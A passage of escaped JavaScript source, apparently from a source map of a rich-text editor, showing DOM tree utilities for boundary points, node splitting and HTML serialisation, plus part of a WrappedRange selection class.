}\n\n return false;\n}\n\n/**\n * padding blankHTML if node is empty (for cursor position)\n */\nfunction paddingBlankHTML(node) {\n if (!isVoid(node) && !nodeLength(node)) {\n node.innerHTML = blankHTML;\n }\n}\n\n/**\n * find nearest ancestor predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction ancestor(node, pred) {\n while (node) {\n if (pred(node)) { return node; }\n if (isEditable(node)) { break; }\n\n node = node.parentNode;\n }\n return null;\n}\n\n/**\n * find nearest ancestor only single child blood line and predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction singleChildAncestor(node, pred) {\n node = node.parentNode;\n\n while (node) {\n if (nodeLength(node) !== 1) { break; }\n if (pred(node)) { return node; }\n if (isEditable(node)) { break; }\n\n node = node.parentNode;\n }\n return null;\n}\n\n/**\n * returns new array of ancestor nodes (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listAncestor(node, pred) {\n pred = pred || func.fail;\n\n const ancestors = [];\n ancestor(node, function(el) {\n if (!isEditable(el)) {\n ancestors.push(el);\n }\n\n return pred(el);\n });\n return ancestors;\n}\n\n/**\n * find farthest ancestor predicate hit\n */\nfunction lastAncestor(node, pred) {\n const ancestors = listAncestor(node);\n return lists.last(ancestors.filter(pred));\n}\n\n/**\n * returns common ancestor node between two nodes.\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n */\nfunction commonAncestor(nodeA, nodeB) {\n const ancestors = listAncestor(nodeA);\n for (let n = nodeB; n; n = n.parentNode) {\n if ($.inArray(n, ancestors) > -1) { return n; }\n }\n return null; // difference document area\n}\n\n/**\n * listing all previous siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listPrev(node, pred) {\n pred = pred || func.fail;\n\n const nodes = [];\n while (node) {\n if (pred(node)) { break; }\n nodes.push(node);\n node = node.previousSibling;\n }\n return nodes;\n}\n\n/**\n * listing next siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listNext(node, pred) {\n pred = pred || func.fail;\n\n const nodes = [];\n while (node) {\n if (pred(node)) { break; }\n nodes.push(node);\n node = node.nextSibling;\n }\n return nodes;\n}\n\n/**\n * listing descendant nodes\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listDescendant(node, pred) {\n const descendants = [];\n pred = pred || func.ok;\n\n // start DFS(depth first search) with node\n (function fnWalk(current) {\n if (node !== current && pred(current)) {\n descendants.push(current);\n }\n for (let idx = 0, len = current.childNodes.length; idx < len; idx++) {\n fnWalk(current.childNodes[idx]);\n }\n })(node);\n\n return descendants;\n}\n\n/**\n * wrap node with new tag.\n *\n * @param {Node} node\n * @param {Node} tagName of wrapper\n * @return {Node} - wrapper\n */\nfunction wrap(node, wrapperName) {\n const parent = node.parentNode;\n const wrapper = $('<' + wrapperName + '>')[0];\n\n parent.insertBefore(wrapper, node);\n wrapper.appendChild(node);\n\n return wrapper;\n}\n\n/**\n * insert node after preceding\n *\n * @param {Node} node\n * @param {Node} preceding - predicate function\n */\nfunction insertAfter(node, preceding) {\n const next = preceding.nextSibling;\n let parent = preceding.parentNode;\n if (next) {\n parent.insertBefore(node, next);\n } else {\n parent.appendChild(node);\n }\n return node;\n}\n\n/**\n * append elements.\n *\n * @param {Node} node\n * @param {Collection} aChild\n */\nfunction appendChildNodes(node, aChild) {\n $.each(aChild, function(idx, child) {\n node.appendChild(child);\n });\n return node;\n}\n\n/**\n * returns whether boundaryPoint is left edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isLeftEdgePoint(point) {\n return point.offset === 0;\n}\n\n/**\n * returns whether boundaryPoint is right edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isRightEdgePoint(point) {\n return point.offset === nodeLength(point.node);\n}\n\n/**\n * returns whether boundaryPoint is edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isEdgePoint(point) {\n return isLeftEdgePoint(point) || isRightEdgePoint(point);\n}\n\n/**\n * returns whether node is left edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgeOf(node, ancestor) {\n while (node && node !== ancestor) {\n if (position(node) !== 0) {\n return false;\n }\n node = node.parentNode;\n }\n\n return true;\n}\n\n/**\n * returns whether node is right edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgeOf(node, ancestor) {\n if (!ancestor) {\n return false;\n }\n while (node && node !== ancestor) {\n if (position(node) !== nodeLength(node.parentNode) - 1) {\n return false;\n }\n node = node.parentNode;\n }\n\n return true;\n}\n\n/**\n * returns whether point is left edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgePointOf(point, ancestor) {\n return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns whether point is right edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgePointOf(point, ancestor) {\n return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns offset from parent.\n *\n * @param {Node} node\n */\nfunction position(node) {\n let offset = 0;\n while ((node = node.previousSibling)) {\n offset += 1;\n }\n return offset;\n}\n\nfunction hasChildren(node) {\n return !!(node && node.childNodes && node.childNodes.length);\n}\n\n/**\n * returns previous boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction prevPoint(point, isSkipInnerOffset) {\n let node;\n let offset;\n\n if (point.offset === 0) {\n if (isEditable(point.node)) {\n return null;\n }\n\n node = point.node.parentNode;\n offset = position(point.node);\n } else if (hasChildren(point.node)) {\n node = point.node.childNodes[point.offset - 1];\n offset = nodeLength(node);\n } else {\n node = point.node;\n offset = isSkipInnerOffset ? 0 : point.offset - 1;\n }\n\n return {\n node: node,\n offset: offset\n };\n}\n\n/**\n * returns next boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction nextPoint(point, isSkipInnerOffset) {\n let node, offset;\n\n if (nodeLength(point.node) === point.offset) {\n if (isEditable(point.node)) {\n return null;\n }\n\n node = point.node.parentNode;\n offset = position(point.node) + 1;\n } else if (hasChildren(point.node)) {\n node = point.node.childNodes[point.offset];\n offset = 0;\n } else {\n node = point.node;\n offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;\n }\n\n return {\n node: node,\n offset: offset\n };\n}\n\n/**\n * returns whether pointA and pointB is same or not.\n *\n * @param {BoundaryPoint} pointA\n * @param {BoundaryPoint} pointB\n * @return {Boolean}\n */\nfunction isSamePoint(pointA, pointB) {\n return pointA.node === pointB.node && pointA.offset === pointB.offset;\n}\n\n/**\n * returns whether point is visible (can set cursor) or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isVisiblePoint(point) {\n if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {\n return true;\n }\n\n const leftNode = point.node.childNodes[point.offset - 1];\n const rightNode = point.node.childNodes[point.offset];\n if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {\n return true;\n }\n\n return false;\n}\n\n/**\n * @method prevPointUtil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction prevPointUntil(point, pred) {\n while (point) {\n if (pred(point)) {\n return point;\n }\n\n point = prevPoint(point);\n }\n\n return null;\n}\n\n/**\n * @method nextPointUntil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction nextPointUntil(point, pred) {\n while (point) {\n if (pred(point)) {\n return point;\n }\n\n point = nextPoint(point);\n }\n\n return null;\n}\n\n/**\n * returns whether point has character or not.\n *\n * @param {Point} point\n * @return {Boolean}\n */\nfunction isCharPoint(point) {\n if (!isText(point.node)) {\n return false;\n }\n\n const ch = point.node.nodeValue.charAt(point.offset - 1);\n return ch && (ch !== ' ' && ch !== NBSP_CHAR);\n}\n\n/**\n * @method walkPoint\n *\n * @param {BoundaryPoint} startPoint\n * @param {BoundaryPoint} endPoint\n * @param {Function} handler\n * @param {Boolean} isSkipInnerOffset\n */\nfunction walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {\n let point = startPoint;\n\n while (point) {\n handler(point);\n\n if (isSamePoint(point, endPoint)) {\n break;\n }\n\n const isSkipOffset = isSkipInnerOffset &&\n startPoint.node !== point.node &&\n endPoint.node !== point.node;\n point = nextPoint(point, isSkipOffset);\n }\n}\n\n/**\n * @method makeOffsetPath\n *\n * return offsetPath(array of offset) from ancestor\n *\n * @param {Node} ancestor - ancestor node\n * @param {Node} node\n */\nfunction makeOffsetPath(ancestor, node) {\n const ancestors = listAncestor(node, func.eq(ancestor));\n return ancestors.map(position).reverse();\n}\n\n/**\n * @method fromOffsetPath\n *\n * return element from offsetPath(array of offset)\n *\n * @param {Node} ancestor - ancestor node\n * @param {array} offsets - offsetPath\n */\nfunction fromOffsetPath(ancestor, offsets) {\n let current = ancestor;\n for (let i = 0, len = offsets.length; i < len; i++) {\n if (current.childNodes.length <= offsets[i]) {\n current = current.childNodes[current.childNodes.length - 1];\n } else {\n current = current.childNodes[offsets[i]];\n }\n }\n return current;\n}\n\n/**\n * @method splitNode\n *\n * split element or #text\n *\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitNode(point, options) {\n const isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;\n const isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;\n\n // edge case\n if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {\n if (isLeftEdgePoint(point)) {\n return point.node;\n } else if (isRightEdgePoint(point)) {\n return point.node.nextSibling;\n }\n }\n\n // split #text\n if (isText(point.node)) {\n return point.node.splitText(point.offset);\n } else {\n const childNode = point.node.childNodes[point.offset];\n const clone = insertAfter(point.node.cloneNode(false), point.node);\n appendChildNodes(clone, listNext(childNode));\n\n if (!isSkipPaddingBlankHTML) {\n paddingBlankHTML(point.node);\n paddingBlankHTML(clone);\n }\n\n return clone;\n }\n}\n\n/**\n * @method splitTree\n *\n * split tree by point\n *\n * @param {Node} root - split root\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitTree(root, point, options) {\n // ex) [#text, <span>, <p>]\n const ancestors = listAncestor(point.node, func.eq(root));\n\n if (!ancestors.length) {\n return null;\n } else if (ancestors.length === 1) {\n return splitNode(point, options);\n }\n\n return ancestors.reduce(function(node, parent) {\n if (node === point.node) {\n node = splitNode(point, options);\n }\n\n return splitNode({\n node: parent,\n offset: node ? position(node) : nodeLength(parent)\n }, options);\n });\n}\n\n/**\n * split point\n *\n * @param {Point} point\n * @param {Boolean} isInline\n * @return {Object}\n */\nfunction splitPoint(point, isInline) {\n // find splitRoot, container\n // - inline: splitRoot is a child of paragraph\n // - block: splitRoot is a child of bodyContainer\n const pred = isInline ? isPara : isBodyContainer;\n const ancestors = listAncestor(point.node, pred);\n const topAncestor = lists.last(ancestors) || point.node;\n\n let splitRoot, container;\n if (pred(topAncestor)) {\n splitRoot = ancestors[ancestors.length - 2];\n container = topAncestor;\n } else {\n splitRoot = topAncestor;\n container = splitRoot.parentNode;\n }\n\n // if splitRoot is exists, split with splitTree\n let pivot = splitRoot && splitTree(splitRoot, point, {\n isSkipPaddingBlankHTML: isInline,\n isNotSplitEdgePoint: isInline\n });\n\n // if container is point.node, find pivot with point.offset\n if (!pivot && container === point.node) {\n pivot = point.node.childNodes[point.offset];\n }\n\n return {\n rightNode: pivot,\n container: container\n };\n}\n\nfunction create(nodeName) {\n return document.createElement(nodeName);\n}\n\nfunction createText(text) {\n return document.createTextNode(text);\n}\n\n/**\n * @method remove\n *\n * remove node, (isRemoveChild: remove child or not)\n *\n * @param {Node} node\n * @param {Boolean} isRemoveChild\n */\nfunction remove(node, isRemoveChild) {\n if (!node || !node.parentNode) { return; }\n if (node.removeNode) { return node.removeNode(isRemoveChild); }\n\n const parent = node.parentNode;\n if (!isRemoveChild) {\n const nodes = [];\n for (let i = 0, len = node.childNodes.length; i < len; i++) {\n nodes.push(node.childNodes[i]);\n }\n\n for (let i = 0, len = nodes.length; i < len; i++) {\n parent.insertBefore(nodes[i], node);\n }\n }\n\n parent.removeChild(node);\n}\n\n/**\n * @method removeWhile\n *\n * @param {Node} node\n * @param {Function} pred\n */\nfunction removeWhile(node, pred) {\n while (node) {\n if (isEditable(node) || !pred(node)) {\n break;\n }\n\n const parent = node.parentNode;\n remove(node);\n node = parent;\n }\n}\n\n/**\n * @method replace\n *\n * replace node with provided nodeName\n *\n * @param {Node} node\n * @param {String} nodeName\n * @return {Node} - new node\n */\nfunction replace(node, nodeName) {\n if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {\n return node;\n }\n\n const newNode = create(nodeName);\n\n if (node.style.cssText) {\n newNode.style.cssText = node.style.cssText;\n }\n\n appendChildNodes(newNode, lists.from(node.childNodes));\n insertAfter(newNode, node);\n remove(node);\n\n return newNode;\n}\n\nconst isTextarea = makePredByNodeName('TEXTAREA');\n\n/**\n * @param {jQuery} $node\n * @param {Boolean} [stripLinebreaks] - default: false\n */\nfunction value($node, stripLinebreaks) {\n const val = isTextarea($node[0]) ? $node.val() : $node.html();\n if (stripLinebreaks) {\n return val.replace(/[\\n\\r]/g, '');\n }\n return val;\n}\n\n/**\n * @method html\n *\n * get the HTML contents of node\n *\n * @param {jQuery} $node\n * @param {Boolean} [isNewlineOnBlock]\n */\nfunction html($node, isNewlineOnBlock) {\n let markup = value($node);\n\n if (isNewlineOnBlock) {\n const regexTag = /<(\\/?)(\\b(?!!)[^>\\s]*)(.*?)(\\s*\\/?>)/g;\n markup = markup.replace(regexTag, function(match, endSlash, name) {\n name = name.toUpperCase();\n const isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&\n !!endSlash;\n const isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);\n\n return match + ((isEndOfInlineContainer || isBlockNode) ? '\\n' : '');\n });\n markup = $.trim(markup);\n }\n\n return markup;\n}\n\nfunction posFromPlaceholder(placeholder) {\n const $placeholder = $(placeholder);\n const pos = $placeholder.offset();\n const height = $placeholder.outerHeight(true); // include margin\n\n return {\n left: pos.left,\n top: pos.top + height\n };\n}\n\nfunction attachEvents($node, events) {\n Object.keys(events).forEach(function(key) {\n $node.on(key, events[key]);\n });\n}\n\nfunction detachEvents($node, events) {\n Object.keys(events).forEach(function(key) {\n $node.off(key, events[key]);\n });\n}\n\n/**\n * @method isCustomStyleTag\n *\n * assert if a node contains a \"note-styletag\" class,\n * which implies that's a custom-made style tag node\n *\n * @param {Node} an HTML DOM node\n */\nfunction isCustomStyleTag(node) {\n return node && !isText(node) && lists.contains(node.classList, 'note-styletag');\n}\n\nexport default {\n /** @property {String} NBSP_CHAR */\n NBSP_CHAR,\n /** @property {String} ZERO_WIDTH_NBSP_CHAR */\n ZERO_WIDTH_NBSP_CHAR,\n /** @property {String} blank */\n blank: blankHTML,\n /** @property {String} emptyPara */\n emptyPara: `<p>${blankHTML}</p>`,\n makePredByNodeName,\n isEditable,\n isControlSizing,\n isText,\n isElement,\n isVoid,\n isPara,\n isPurePara,\n isHeading,\n isInline,\n isBlock: func.not(isInline),\n isBodyInline,\n isBody,\n isParaInline,\n isPre,\n isList,\n isTable,\n isData,\n isCell,\n isBlockquote,\n isBodyContainer,\n isAnchor,\n isDiv: makePredByNodeName('DIV'),\n isLi,\n isBR: makePredByNodeName('BR'),\n isSpan: makePredByNodeName('SPAN'),\n isB: makePredByNodeName('B'),\n isU: makePredByNodeName('U'),\n isS: makePredByNodeName('S'),\n isI: makePredByNodeName('I'),\n isImg: makePredByNodeName('IMG'),\n isTextarea,\n isEmpty,\n isEmptyAnchor: func.and(isAnchor, isEmpty),\n isClosestSibling,\n withClosestSiblings,\n nodeLength,\n isLeftEdgePoint,\n isRightEdgePoint,\n isEdgePoint,\n isLeftEdgeOf,\n isRightEdgeOf,\n isLeftEdgePointOf,\n isRightEdgePointOf,\n prevPoint,\n nextPoint,\n isSamePoint,\n isVisiblePoint,\n prevPointUntil,\n nextPointUntil,\n isCharPoint,\n walkPoint,\n ancestor,\n singleChildAncestor,\n listAncestor,\n lastAncestor,\n listNext,\n listPrev,\n listDescendant,\n commonAncestor,\n wrap,\n insertAfter,\n appendChildNodes,\n position,\n hasChildren,\n makeOffsetPath,\n fromOffsetPath,\n splitTree,\n splitPoint,\n create,\n createText,\n remove,\n removeWhile,\n replace,\n html,\n value,\n posFromPlaceholder,\n attachEvents,\n detachEvents,\n isCustomStyleTag\n};\n","import $ from 'jquery';\nimport env from './env';\nimport func from './func';\nimport lists from './lists';\nimport dom from './dom';\n\n/**\n * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js\n *\n * @param {TextRange} textRange\n * @param {Boolean} isStart\n * @return {BoundaryPoint}\n *\n * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx\n */\nfunction textRangeToPoint(textRange, isStart) {\n let container = textRange.parentElement();\n let offset;\n\n const tester = document.body.createTextRange();\n let prevContainer;\n const childNodes = lists.from(container.childNodes);\n for (offset = 0; offset < childNodes.length; offset++) {\n if (dom.isText(childNodes[offset])) {\n continue;\n }\n tester.moveToElementText(childNodes[offset]);\n if (tester.compareEndPoints('StartToStart', textRange) >= 0) {\n break;\n }\n prevContainer = childNodes[offset];\n }\n\n if (offset !== 0 && dom.isText(childNodes[offset - 1])) {\n const textRangeStart = document.body.createTextRange();\n let curTextNode = null;\n textRangeStart.moveToElementText(prevContainer || container);\n textRangeStart.collapse(!prevContainer);\n curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;\n\n const pointTester = textRange.duplicate();\n pointTester.setEndPoint('StartToStart', textRangeStart);\n let textCount = pointTester.text.replace(/[\\r\\n]/g, '').length;\n\n while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {\n textCount -= curTextNode.nodeValue.length;\n curTextNode = curTextNode.nextSibling;\n }\n\n // [workaround] enforce IE to re-reference curTextNode, hack\n const dummy = curTextNode.nodeValue; // eslint-disable-line\n\n if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&\n textCount === curTextNode.nodeValue.length) {\n textCount -= curTextNode.nodeValue.length;\n curTextNode = curTextNode.nextSibling;\n }\n\n container = curTextNode;\n offset = textCount;\n }\n\n return {\n cont: container,\n offset: offset\n };\n}\n\n/**\n * return TextRange from boundary point (inspired by google closure-library)\n * @param {BoundaryPoint} point\n * @return {TextRange}\n */\nfunction pointToTextRange(point) {\n const textRangeInfo = function(container, offset) {\n let node, isCollapseToStart;\n\n if (dom.isText(container)) {\n const prevTextNodes = dom.listPrev(container, func.not(dom.isText));\n const prevContainer = lists.last(prevTextNodes).previousSibling;\n node = prevContainer || container.parentNode;\n offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);\n isCollapseToStart = !prevContainer;\n } else {\n node = container.childNodes[offset] || container;\n if (dom.isText(node)) {\n return textRangeInfo(node, 0);\n }\n\n offset = 0;\n isCollapseToStart = false;\n }\n\n return {\n node: node,\n collapseToStart: isCollapseToStart,\n offset: offset\n };\n };\n\n const textRange = document.body.createTextRange();\n const info = textRangeInfo(point.node, point.offset);\n\n textRange.moveToElementText(info.node);\n textRange.collapse(info.collapseToStart);\n textRange.moveStart('character', info.offset);\n return textRange;\n}\n\n/**\n * Wrapped Range\n *\n * @constructor\n * @param {Node} sc - start container\n * @param {Number} so - start offset\n * @param {Node} ec - end container\n * @param {Number} eo - end offset\n */\nclass WrappedRange {\n constructor(sc, so, ec, eo) {\n this.sc = sc;\n this.so = so;\n this.ec = ec;\n this.eo = eo;\n\n // isOnEditable: judge whether range is on editable or not\n this.isOnEditable = this.makeIsOn(dom.isEditable);\n // isOnList: judge whether range is on list node or not\n this.isOnList = this.makeIsOn(dom.isList);\n // isOnAnchor: judge whether range is on anchor node or not\n this.isOnAnchor = this.makeIsOn(dom.isAnchor);\n // isOnCell: judge whether range is on cell node or not\n this.isOnCell = this.makeIsOn(dom.isCell);\n // isOnData: judge whether range is on data node or not\n this.isOnData = this.makeIsOn(dom.isData);\n }\n\n // nativeRange: get nativeRange from sc, so, ec, eo\n nativeRange() {\n if (env.isW3CRangeSupport) {\n const w3cRange = document.createRange();\n w3cRange.setStart(this.sc, this.so);\n w3cRange.setEnd(this.ec, this.eo);\n\n return w3cRange;\n } else {\n const textRange = pointToTextRange({\n node: this.sc,\n offset: this.so\n });\n\n textRange.setEndPoint('EndToEnd', pointToTextRange({\n node: this.ec,\n offset: this.eo\n }));\n\n return textRange;\n }\n }\n\n getPoints() {\n return {\n sc: this.sc,\n so: this.so,\n ec: this.ec,\n eo: this.eo\n };\n }\n\n getStartPoint() {\n return {\n node: this.sc,\n offset: this.so\n };\n }\n\n getEndPoint() {\n return {\n node: this.ec,\n offset: this.eo\n };\n }\n\n /**\n * select update visible range\n */\n select() {\n const nativeRng = this.nativeRange();\n if (env.isW3CRangeSupport) {\n const selection = document.getSelection();\n if (selection.rangeCount > 0) {\n selection.removeAllRanges();\n }\n selection.addRange(nativeRng);\n } else {\n nativeRng.select();\n }\n\n return this;\n }\n\n /**\n * Moves the scrollbar to start container(sc) of current range\n *\n * @return {WrappedRange}\n */\n scrollIntoView(container) {\n const height = $(container).height();\n if (container.scrollTop + height < this.sc.offsetTop) {\n container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);\n }\n\n return this;\n }\n\n /**\n * @return {WrappedRange}\n */\n normalize() {\n /**\n * @param {BoundaryPoint} point\n * @param {Boolean} isLeftToRight\n * @return {BoundaryPoint}\n */\n const getVisiblePoint = function(point, isLeftToRight) {\n if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||\n (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||\n (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||\n (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {\n return point;\n }\n\n // point on block's edge\n const block = dom.ancestor(point.node, dom.isBlock);\n if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||\n ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {\n // returns point already on visible point\n if (dom.isVisiblePoint(point)) {\n return point;\n }\n // reverse direction\n isLeftToRight = !isLeftToRight;\n }\n\n const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)\n : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);\n return nextPoint || point;\n };\n\n const endPoint = getVisiblePoint(this.getEndPoint(), false);\n const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);\n\n return new WrappedRange(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n );\n }\n\n /**\n * returns matched nodes on range\n *\n * @param {Function} [pred] - predicate function\n * @param {Object} [options]\n * @param {Boolean} [options.includeAncestor]\n * @param {Boolean} [options.fullyContains]\n * @return {Node[]}\n */\n nodes(pred, options) {\n pred = pred || func.ok;\n\n const includeAncestor = options && options.includeAncestor;\n const fullyContains = options && options.fullyContains;\n\n // TODO compare points and sort\n const startPoint = this.getStartPoint();\n const endPoint = this.getEndPoint();\n\n const nodes = [];\n const leftEdgeNodes = [];\n\n dom.walkPoint(startPoint, endPoint, function(point) {\n if (dom.isEditable(point.node)) {\n return;\n }\n\n let node;\n if (fullyContains) {\n if (dom.isLeftEdgePoint(point)) {\n leftEdgeNodes.push(point.node);\n }\n if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {\n node = point.node;\n }\n } else if (includeAncestor) {\n node = dom.ancestor(point.node, pred);\n } else {\n node = point.node;\n }\n\n if (node && pred(node)) {\n nodes.push(node);\n }\n }, true);\n\n return lists.unique(nodes);\n }\n\n /**\n * returns commonAncestor of range\n * @return {Element} - commonAncestor\n */\n commonAncestor() {\n return dom.commonAncestor(this.sc, this.ec);\n }\n\n /**\n * returns expanded range by pred\n *\n * @param {Function} pred - predicate function\n * @return {WrappedRange}\n */\n expand(pred) {\n const startAncestor = dom.ancestor(this.sc, pred);\n const endAncestor = dom.ancestor(this.ec, pred);\n\n if (!startAncestor && !endAncestor) {\n return new WrappedRange(this.sc, this.so, this.ec, this.eo);\n }\n\n const boundaryPoints = this.getPoints();\n\n if (startAncestor) {\n boundaryPoints.sc = startAncestor;\n boundaryPoints.so = 0;\n }\n\n if (endAncestor) {\n boundaryPoints.ec = endAncestor;\n boundaryPoints.eo = dom.nodeLength(endAncestor);\n }\n\n return new WrappedRange(\n boundaryPoints.sc,\n boundaryPoints.so,\n boundaryPoints.ec,\n boundaryPoints.eo\n );\n }\n\n /**\n * @param {Boolean} isCollapseToStart\n * @return {WrappedRange}\n */\n collapse(isCollapseToStart) {\n if (isCollapseToStart) {\n return new WrappedRange(this.sc, this.so, this.sc, this.so);\n } else {\n return new WrappedRange(this.ec, this.eo, this.ec, this.eo);\n }\n }\n\n /**\n * splitText on range\n */\n splitText() {\n const isSameContainer = this.sc === this.ec;\n const boundaryPoints = this.getPoints();\n\n if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {\n this.ec.splitText(this.eo);\n }\n\n if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {\n boundaryPoints.sc = this.sc.splitText(this.so);\n boundaryPoints.so = 0;\n\n if (isSameContainer) {\n boundaryPoints.ec = boundaryPoints.sc;\n boundaryPoints.eo = this.eo - this.so;\n }\n }\n\n return new WrappedRange(\n boundaryPoints.sc,\n boundaryPoints.so,\n boundaryPoints.ec,\n boundaryPoints.eo\n );\n }\n\n /**\n * delete contents on range\n * @return {WrappedRange}\n */\n deleteContents() {\n if (this.isCollapsed()) {\n return this;\n }\n\n const rng = this.splitText();\n const nodes = rng.nodes(null, {\n fullyContains: true\n });\n\n // find new cursor point\n const point = dom.prevPointUntil(rng.getStartPoint(), function(point) {\n return !lists.contains(nodes, point.node);\n });\n\n const emptyParents = [];\n $.each(nodes, function(idx, node) {\n // find empty parents\n const parent = node.parentNode;\n if (point.node !== parent && dom.nodeLength(parent) === 1) {\n emptyParents.push(parent);\n }\n dom.remove(node, false);\n });\n\n // remove empty parents\n $.each(emptyParents, function(idx, node) {\n dom.remove(node, false);\n });\n\n return new WrappedRange(\n point.node,\n point.offset,\n point.node,\n point.offset\n ).normalize();\n }\n\n /**\n * makeIsOn: return isOn(pred) function\n */\n makeIsOn(pred) {\n return function() {\n const ancestor = dom.ancestor(this.sc, pred);\n return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));\n };\n }\n\n /**\n * @param {Function} pred\n * @return {Boolean}\n */\n isLeftEdgeOf(pred) {\n if (!dom.isLeftEdgePoint(this.getStartPoint())) {\n return false;\n }\n\n const node = dom.ancestor(this.sc, pred);\n return node && dom.isLeftEdgeOf(this.sc, node);\n }\n\n /**\n * returns whether range was collapsed or not\n */\n isCollapsed() {\n return this.sc === this.ec && this.so === this.eo;\n }\n\n /**\n * wrap inline nodes which children of body with paragraph\n *\n * @return {WrappedRange}\n */\n wrapBodyInlineWithPara() {\n if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {\n this.sc.innerHTML = dom.emptyPara;\n return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);\n }\n\n /**\n * [workaround] firefox often create range on not visible point. so normalize here.\n * - firefox: |<p>text</p>|\n * - chrome: <p>|text|</p>\n */\n const rng = this.normalize();\n if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {\n return rng;\n }\n\n // find inline top ancestor\n let topAncestor;\n if (dom.isInline(rng.sc)) {\n const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));\n topAncestor = lists.last(ancestors);\n if (!dom.isInline(topAncestor)) {\n topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];\n }\n } else {\n topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];\n }\n\n // siblings not in paragraph\n let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();\n inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));\n\n // wrap with paragraph\n if (inlineSiblings.length) {\n const para = dom.wrap(lists.head(inlineSiblings), 'p');\n dom.appendChildNodes(para, lists.tail(inlineSiblings));\n }\n\n return this.normalize();\n }\n\n /**\n * insert node at current cursor\n *\n * @param {Node} node\n * @return {Node}\n */\n insertNode(node) {\n const rng = this.wrapBodyInlineWithPara().deleteContents();\n const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));\n\n if (info.rightNode) {\n info.rightNode.parentNode.insertBefore(node, info.rightNode);\n } else {\n info.container.appendChild(node);\n }\n\n return node;\n }\n\n /**\n * insert html at current cursor\n */\n 